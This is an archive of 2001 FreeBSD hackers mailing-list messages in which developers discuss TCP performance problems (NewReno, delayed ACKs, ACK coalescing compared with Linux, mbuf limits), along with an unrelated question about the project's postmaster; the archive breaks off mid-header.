References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <15367.64883.390696.863120@caddis.yogotech.com> <200111302200.fAUM0hD27448@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111302200.fAUM0hD27448@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Nov 30, 2001 at 02:00:43PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Matthew Dillon [011130 16:02] wrote: > > Packet loss will screw up TCP performance no matter what you do. > NewReno, assuming it is working properly, can improve performance > for that case but it will not completely solve the problem (nothing will). > Remember that our timers are only good to around 20ms by default, so > even the best retransmission case is going to create a serious hicup. > > The question here is... is it actually packet loss that is creating > this issue for you and John, or is it something else? The only way > to tell for sure is to run tcpdump on BOTH the client and server > and then observe whether packet loss is occuring by comparing the dumps. > > I would guess that turning off delayed-acks will improve performance > in the face of packet loss, since a lost ack packet in that case will > not be as big an issue. I have an odd theory that makes use of my waning remeberence of the stack behavior, this may be totally off base but I'd appreciate it if you guys would consider this scenerio if at all to put my mind at ease. I seem to remeber several places in the stack that detect what looks like a hiccup and immediately begin sending a sequence of ACKs in order to trigger the other side's fast retrasmit code. One of the things that I don't remember seeing is that state is persistant. This means that in the face of packet loss, we may burst some ACKs then back off prematurely instead of sending another blast a couple of ms later if nothing has come back at us. This could cause a major stall. It especially makes sense because in the face of packet loss it may be both ways, meaning just because we screamed once "I DIDN'T GET THAT" doesn't mean the other side has heard our complaint. Is this a possiblity? -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:34:11 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 5823337B405 for ; Fri, 30 Nov 2001 14:34:06 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id F3CA881D06; Fri, 30 Nov 2001 16:34:05 -0600 (CST) Date: Fri, 30 Nov 2001 16:34:05 -0600 From: Alfred Perlstein To: Luigi Rizzo , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs Message-ID: <20011130163405.O46769@elvis.mu.org> References: <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> <20011130135402.H46769@elvis.mu.org> <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> <20011130171418.B96592@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130171418.B96592@ussenterprise.ufp.org>; from bicknell@ufp.org on Fri, Nov 30, 2001 at 05:14:18PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Leo Bicknell [011130 16:14] wrote: > > First off, apologies to Luigi, I was shooting off my mouth. Understandable, it's easy to get heated about an issue when it weighs so much in ones mind. I've done the same on several quite memorable occasions. > Second off: > > On Fri, Nov 30, 2001 at 01:50:42PM -0600, Alfred Perlstein wrote: > > I was about to set the default in -stable to Leo's suggested values, > > it seems that -current already has the delta he wants in it, > > my question is, was anything else changed along the lines of the > > number of nmbclusters allocated in -current to go along with > > this change? > > On Fri, Nov 30, 2001 at 01:54:02PM -0600, Alfred Perlstein wrote: > > It seems not, I've committed the change. > > When I proposed this before there was a bit of a debate about > needing to increase clusters and MBUF's. To summarize, I think > we took the following away from it: > > * For most users it makes no difference, as they are far from the > limits. Agreed. > * This will make a small number of people who aren't hitting > limits now hit an MBUF limit. > > - These people probably need increases anyway, as they are > too close to the limit now. > > - Hitting the MBUF limit is fairly, well, harsh, and we might > want to add syslog or other logged warnings at like 90% > utilization or something. This is a very good idea. > At a minimum I think: > > * There needs to be a note in the errata for the release this > goes in mentioning more MBUF's might be needed. > > * LINT should be updated with a comment and a value 2 to 4 times > GENERIC's default as the default listed value. Hmm, well the GENERIC default is some mathematical operation on maxusers. We really ought to make this scale as a default relative to the amount of ram in the system, rather than some low hardcoded value. NetBSD has some stuff for this in their buffercache sizing algorithm in netbsd-stable. It might be worth checking out, the formula is quite smart such that it has a decent size when system ram is low, then for each meg above X it increases it by some percentage. I find it to be too low, but whatever. :) > > * The logging at 90% usage should be investigated. I can probably > generate patches for that over the weekend, provided I can find > a good way to rate limit them. Generating one message is usually a good idea, however you could invesitagate how the "icmp response limit" messages are buffered. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 14:59: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cu518.adelaide.adsl.on.net (cu518.adelaide.adsl.on.net [150.101.236.10]) by hub.freebsd.org (Postfix) with ESMTP id CDE9837B405 for ; Fri, 30 Nov 2001 14:58:57 -0800 (PST) Received: from ns.aus.com (laptop.ns.aus.com [10.0.2.6]) by cu518.adelaide.adsl.on.net (8.11.0/8.11.0) with ESMTP id fB116M703803; Sat, 1 Dec 2001 11:36:22 +1030 Message-ID: <3C081867.9090900@ns.aus.com> Date: Sat, 01 Dec 2001 10:08:15 +1030 From: Richard Sharpe Reply-To: rsharpe@ns.aus.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010917 X-Accept-Language: en-us MIME-Version: 1.0 To: Alfred Perlstein Cc: rsharpe@ns.aus.com, Matthew Dillon , Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <3C07FCFF.4070008@ns.aus.com> <20011130150843.L46769@elvis.mu.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I think that there are two different problems here. My situation involves a LAN (actually, a crossover cable). I have captured a trace of a 1 client run between the Linux driver and the FreeBSD test system as well as between the Linux driver and the same test system running Linux. I am noticing some interesting things. Linux uses the timestamp option in all the TCP segments I have looked at, so it is sending 12 more bytes per segment that FreeBSD. However, more interesting is that for small messages (less that 1460), FreeBSD does not seem to delay sending ACKs, so we get the following pattern: FREEBSD Driver -> Test system: 94 byte IP DG with simulated command Test System -> Driver: Ack after 83uS Test System -> Driver: Psh Ack after 29uS with 79 total bytes in IP DG LINUX Driver -> Test system: 106 byte IP DG with simulated command Test System -> Driver: Psh Ack after 89uS with 91 total bytes in IP DG So, as you can see, Linux seems to shave some time off each transaction by avoiding sending extra ACKs. Also, what I am seeing is that neither FreeBSD nor Linux is doing ACK coalescing (if that is possible). While I understand that coalescing ACKs will mess up RTT calculations and SRTT a bit, it would serve to reduce the time taken until responses come back. What I am seeing for large transmits is the following: FreeBSD (Test) Linux (Driver) <---- Request, 1500 bytes including request and some data <---- More segments from the request Some ACKs -----> About one every two segments <---- Last data segment, usually less that 1500 Lots of ACKs ----> one per segment Usually with large window (ie 16020 when the max window seems to be 16384). Response ----> Less than 1500 Now, I have seen something like 10+ ACKS after the driver has finished sending. They appear to be one per sent segment. Then the FreeBSD system sends its response. The optimal would be for the FreeBSD system to delay the ack until it has data to send, which it probably already has. What I see with the Linux trace is that Linux coalesces ACKs. However, the most I have seen it coalesce is two segments. HTH. -- Richard Sharpe, rsharpe@ns.aus.com, LPIC-1 www.samba.org, www.ethereal.com, SAMS Teach Yourself Samba in 24 Hours, Special Edition, Using Samba To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 15: 1:10 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id 61E7337B405; Fri, 30 Nov 2001 15:01:05 -0800 (PST) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id fAUMvlF92628; Fri, 30 Nov 2001 16:57:47 -0600 (CST) (envelope-from jlemon) Date: Fri, 30 Nov 2001 16:57:47 -0600 From: Jonathan Lemon To: Alfred Perlstein Cc: Matthew Dillon , Nate Williams , Alexander Haderer , jlemon@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) Message-ID: <20011130165747.I75389@prism.flugsvamp.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <15367.64883.390696.863120@caddis.yogotech.com> <200111302200.fAUM0hD27448@apollo.backplane.com> <20011130162832.N46769@elvis.mu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20011130162832.N46769@elvis.mu.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 04:28:32PM -0600, Alfred Perlstein wrote: > * Matthew Dillon [011130 16:02] wrote: > > > > Packet loss will screw up TCP performance no matter what you do. > > NewReno, assuming it is working properly, can improve performance > > for that case but it will not completely solve the problem (nothing will). > > Remember that our timers are only good to around 20ms by default, so > > even the best retransmission case is going to create a serious hicup. > > > > The question here is... is it actually packet loss that is creating > > this issue for you and John, or is it something else? The only way > > to tell for sure is to run tcpdump on BOTH the client and server > > and then observe whether packet loss is occuring by comparing the dumps. > > > > I would guess that turning off delayed-acks will improve performance > > in the face of packet loss, since a lost ack packet in that case will > > not be as big an issue. > > I have an odd theory that makes use of my waning remeberence of the > stack behavior, this may be totally off base but I'd appreciate it > if you guys would consider this scenerio if at all to put my mind > at ease. > > I seem to remeber several places in the stack that detect what looks > like a hiccup and immediately begin sending a sequence of ACKs in > order to trigger the other side's fast retrasmit code. One of the > things that I don't remember seeing is that state is persistant. There isn't anything in the receiver side that does this; ACKs are sent in response to incoming packets. However, state is maintained on the sender side as to whether we are performing fast retransmit or not. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 15: 8:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id 4269037B405; Fri, 30 Nov 2001 15:08:12 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id C5CB581D04; Fri, 30 Nov 2001 17:08:11 -0600 (CST) Date: Fri, 30 Nov 2001 17:08:11 -0600 From: Alfred Perlstein To: Jonathan Lemon Cc: Matthew Dillon , Nate Williams , Alexander Haderer , jlemon@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) Message-ID: <20011130170811.S46769@elvis.mu.org> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <15367.64883.390696.863120@caddis.yogotech.com> <200111302200.fAUM0hD27448@apollo.backplane.com> <20011130162832.N46769@elvis.mu.org> <20011130165747.I75389@prism.flugsvamp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130165747.I75389@prism.flugsvamp.com>; from jlemon@flugsvamp.com on Fri, Nov 30, 2001 at 04:57:47PM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Jonathan Lemon [011130 17:00] wrote: > On Fri, Nov 30, 2001 at 04:28:32PM -0600, Alfred Perlstein wrote: > > > > I have an odd theory that makes use of my waning remeberence of the > > stack behavior, this may be totally off base but I'd appreciate it > > if you guys would consider this scenerio if at all to put my mind > > at ease. > > > > I seem to remeber several places in the stack that detect what looks > > like a hiccup and immediately begin sending a sequence of ACKs in > > order to trigger the other side's fast retrasmit code. One of the > > things that I don't remember seeing is that state is persistant. > > There isn't anything in the receiver side that does this; ACKs are sent > in response to incoming packets. However, state is maintained on the > sender side as to whether we are performing fast retransmit or not. Either you don't follow or my concept of what happens is off. What i'm saying is this, consider each pair to be in some form of time: h1 send: p1 p2 p3 h2 recv: p1 p3 h1 recv: (nothing acks lost) h2 send: ack1 ack1 ack1 (dude, i missed a packet) h1 send: (nothing, waiting for ack) h2 send: (nothing, waiting for retransmit) h1 send: p1 p2 p3 (ack timed out) h2 send: (nothing, waiting for retransmit) what should happen is this: h1 send: p1 p2 p3 h2 recv: p1 p3 h1 recv: (nothing acks lost) h2 send: ack1 ack1 ack1 (dude, i missed a packet) h2 send: ack1 ack1 ack1 (dude, i missed a packet) h1 recv: ack1 ack1 ack1 h1 send: p2 p3 Basically, will the reciever keep acking not if 'it detects packet loss', but rather 'as long as packets are lost'. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 15:18:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51]) by hub.freebsd.org (Postfix) with ESMTP id 6788F37B417 for ; Fri, 30 Nov 2001 15:18:09 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id 243DAC3; Fri, 30 Nov 2001 23:18:02 +0000 (GMT) Date: Fri, 30 Nov 2001 23:18:02 +0000 From: Josef Karthauser To: Matthew Dillon Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130231802.E99520@tao.org.uk> Mail-Followup-To: Josef Karthauser , Matthew Dillon , Alexander Haderer , freebsd-hackers@FreeBSD.ORG References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ep0oHQY+/Gbo/zt0" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111302047.fAUKlT811090@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Nov 30, 2001 at 12:47:29PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --ep0oHQY+/Gbo/zt0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 30, 2001 at 12:47:29PM -0800, Matthew Dillon wrote: > Well, this is embarassing. I can reproduce this completely running > 4.4-stable (Nov 17th kernel) on two machines. >=20 > With newreno turned on, a TCP NFS mount only gets 80K/sec. With newr= eno > turned off on the transmit side, a TCP NFS mount gets 7MB/sec. The > state of the delayed-ack sysctl is irrelevant. This is without runni= ng > any nfsiod's (which would mask the degredation of the synchronous=20 > messaging). >=20 > I am tracking it down now. Is this the same problem that I experience on ssh connections between my 5.0-current laptop and my releng_4 server? When I run an 'ls' from the shell on large directories I get the response back block delay block delay block. I assumed that it was a problem with -current. Joe --ep0oHQY+/Gbo/zt0 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjwIE6kACgkQXVIcjOaxUBbAUgCfUC+o6VpkAWSJn/B0sGe2O8fc Vv8AoJFnDhv4Cybnx+NcgS80+ykhVyyT =mFWS -----END PGP SIGNATURE----- --ep0oHQY+/Gbo/zt0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 15:39:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id 4187537B417 for ; Fri, 30 Nov 2001 15:39:45 -0800 (PST) Received: from dialup-209.247.143.43.dial1.sanjose1.level3.net ([209.247.143.43] helo=mindspring.com) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 169xFu-00048j-00; Fri, 30 Nov 2001 15:39:43 -0800 Message-ID: <3C0818EA.B34721FB@mindspring.com> Date: Fri, 30 Nov 2001 15:40:26 -0800 From: Terry Lambert Reply-To: tlambert2@mindspring.com X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Alfred Perlstein Cc: Luigi Rizzo , freebsd-hackers@FreeBSD.ORG Subject: Re: TCP Performance Graphs References: <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> <20011130135402.H46769@elvis.mu.org> <20011130125839.A88302@ussenterprise.ufp.org> <20011130102928.E30981@iguana.aciri.org> <20011130141100.B90969@ussenterprise.ufp.org> <20011130112215.H30981@iguana.aciri.org> <20011130135042.G46769@elvis.mu.org> <20011130171418.B96592@ussenterprise.ufp.org> <20011130163405.O46769@elvis.mu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alfred Perlstein wrote: > Hmm, well the GENERIC default is some mathematical operation on > maxusers. We really ought to make this scale as a default relative > to the amount of ram in the system, rather than some low hardcoded > value. NetBSD has some stuff for this in their buffercache sizing > algorithm in netbsd-stable. It might be worth checking out, the > formula is quite smart such that it has a decent size when system > ram is low, then for each meg above X it increases it by some > percentage. I find it to be too low, but whatever. :) This is an arbitrarily hard problem to solve correctly. The problem boils down to the inability to do allocations at interrupt, unless there is a prereserved mapping backing store already in place. This works for systems where the memory size << KVA space, but when you stick 4G in a machine, the code in the kernel is way, way off (the machdep.c calculations for swap page mappings and others go off the scale, unfortunately). I think that what needs to happen is a reconsideration of the memory allocation system, almost entirely. THe seperation needs to be into swap path and non-swap path, rather than into allocable at interrupt time, and not. I hate to suggest it, but... perhaps a move away from type stable memory would not be a bad thing. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 15:45:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 8720337B41B for ; Fri, 30 Nov 2001 15:45:23 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fAUNjLI27798; Fri, 30 Nov 2001 15:45:21 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 15:45:21 -0800 (PST) From: Matthew Dillon Message-Id: <200111302345.fAUNjLI27798@apollo.backplane.com> To: Josef Karthauser Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <20011130231802.E99520@tao.org.uk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :... :> I am tracking it down now. : :Is this the same problem that I experience on ssh connections between :my 5.0-current laptop and my releng_4 server? When I run an 'ls' :from the shell on large directories I get the response back block :delay block delay block. I assumed that it was a problem with :-current. : :Joe It sounds like the same problem. In fact, I seem to recall observing something very similar from my laptop while ssh'd into one of my servers, but at the time I though it was a hicup in the wireless network. Now though I think it was this same issue. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 15:49:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51]) by hub.freebsd.org (Postfix) with ESMTP id E90EE37B416 for ; Fri, 30 Nov 2001 15:49:20 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id A656F3DC; Fri, 30 Nov 2001 23:49:13 +0000 (GMT) Date: Fri, 30 Nov 2001 23:49:13 +0000 From: Josef Karthauser To: Matthew Dillon Cc: Alexander Haderer , freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130234913.F99520@tao.org.uk> Mail-Followup-To: Josef Karthauser , Matthew Dillon , Alexander Haderer , freebsd-hackers@FreeBSD.ORG References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <20011130231802.E99520@tao.org.uk> <200111302345.fAUNjLI27798@apollo.backplane.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ChQOR20MqfxkMJg9" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111302345.fAUNjLI27798@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Nov 30, 2001 at 03:45:21PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --ChQOR20MqfxkMJg9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Nov 30, 2001 at 03:45:21PM -0800, Matthew Dillon wrote: > :... > :> I am tracking it down now. > : > :Is this the same problem that I experience on ssh connections between > :my 5.0-current laptop and my releng_4 server? When I run an 'ls' > :from the shell on large directories I get the response back block > :delay block delay block. I assumed that it was a problem with > :-current. > : > :Joe >=20 > It sounds like the same problem. In fact, I seem to recall observing > something very similar from my laptop while ssh'd into one of my > servers, but at the time I though it was a hicup in the wireless netw= ork. > Now though I think it was this same issue. I'm just about to reboot the server now with your recently committed changes - I'll let you know if it fixed anything. Joe --ChQOR20MqfxkMJg9 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjwIGvkACgkQXVIcjOaxUBbvjgCeMylDlLQeUGhPmlibpoBh6nIE /P8An052Jy2oxdxlhqGaUtO6LxmvVSZK =5VrG -----END PGP SIGNATURE----- --ChQOR20MqfxkMJg9-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16: 0:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id C794237B417 for ; Fri, 30 Nov 2001 16:00:09 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id PAA27264 for ; Fri, 30 Nov 2001 15:56:48 -0800 (PST) Date: Fri, 30 Nov 2001 15:56:47 -0800 (PST) From: Julian Elischer To: hackers@freebsd.org Subject: who is "postmaster"? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've tried getting information about our (FreeBSD) mail system by mailing to "postmaster" but no-one answers.. so, who IS the postmaster at the moment? I have the .elischer.org domain set up at Netowrk solutions with a contact address of "julian@freebsd.org" however whenever I try change anything in the setup it sends an "Austhorize this" email to the registered email address (julian@freebsd.org). However they never turn up in my mailbox so I can't do anything (like change the contact email address :-) to maintian my domain. Is freebsd.org throwing away mail from network solutions? (are they blackhole'd?) julian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16: 4: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id AA81D37B405; Fri, 30 Nov 2001 16:03:56 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB103tF27870; Fri, 30 Nov 2001 16:03:55 -0800 (PST) (envelope-from dillon) Date: Fri, 30 Nov 2001 16:03:55 -0800 (PST) From: Matthew Dillon Message-Id: <200112010003.fB103tF27870@apollo.backplane.com> To: Alfred Perlstein Cc: Jonathan Lemon , Nate Williams , Alexander Haderer , jlemon@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <15367.64883.390696.863120@caddis.yogotech.com> <200111302200.fAUM0hD27448@apollo.backplane.com> <20011130162832.N46769@elvis.mu.org> <20011130165747.I75389@prism.flugsvamp.com> <20011130170811.S46769@elvis.mu.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :what should happen is this: : :h1 send: p1 p2 p3 :h2 recv: p1 p3 : :h1 recv: (nothing acks lost) :h2 send: ack1 ack1 ack1 (dude, i missed a packet) : :h2 send: ack1 ack1 ack1 (dude, i missed a packet) :h1 recv: ack1 ack1 ack1 :h1 send: p2 p3 : :Basically, will the reciever keep acking not if 'it detects packet loss', :but rather 'as long as packets are lost'. : :-- :-Alfred Perlstein [alfred@freebsd.org] Yuch. That won't help. Basically you are taking a brute-force approach "Send the ack a whole bunch of times in case some of them get lost". Such an approach does not typically work very well. For example, if the packet loss occured due to link congestion your solution will actually make the link more congested rather then less. If there is significant latency in the path the acks can get into a following run with the transmitter, making the transmitter believe that the packet loss is worse then it actually is and responding in kind, resulting in even more incorrect acks. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 16: 5: 2 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 41B2637B405 for ; Fri, 30 Nov 2001 16:04:57 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id AE08566B27; Fri, 30 Nov 2001 16:04:56 -0800 (PST) Date: Fri, 30 Nov 2001 16:04:56 -0800 From: Kris Kennaway To: Julian Elischer Cc: hackers@freebsd.org Subject: Re: who is "postmaster"? Message-ID: <20011130160456.A81217@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; 